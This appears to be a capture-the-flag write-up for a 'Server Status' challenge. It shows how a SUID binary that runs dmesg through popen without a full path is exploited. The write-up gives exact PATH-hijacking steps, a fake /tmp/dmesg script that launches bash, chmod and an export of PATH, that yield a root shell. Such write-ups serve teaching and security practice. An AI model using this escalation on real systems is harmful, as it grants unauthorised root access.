Title here
Summary here
Server Status
July 11, 20251 minute
SSH credentials were provided for this challenge.
hacker@88110e7a3727:~$ ./server_status
=== Server Status Monitor v1.0 ===
System diagnostic tool with root privileges
Running with elevated privileges (UID: 0, GID: 0)
Initializing...
Hacking Nasa...
****************************************
Done!
=== Command Output ===
dmesg: read kernel buffer failed: Operation not permitted
=== End of Output ===
System status check completed successfully!
After logging in over SSH, server_status stands out: a program with SUID permissions
In the main function, another function is called and dmesg is passed to it
iVar1 = FUN_001015b0("dmesg");
Then, in this other function, it gets executed
__stream = popen(command,"r");
The command is executed without its full path, so we can do a PATH hijacking
1- Inside /tmp, create a file named dmesg with
#!/bin/bash
/bin/bash
2- Give it execute permissions
chmod +x dmesg
3- Modify the PATH
export PATH=/tmp:$PATH
When it runs, we get a shell as root.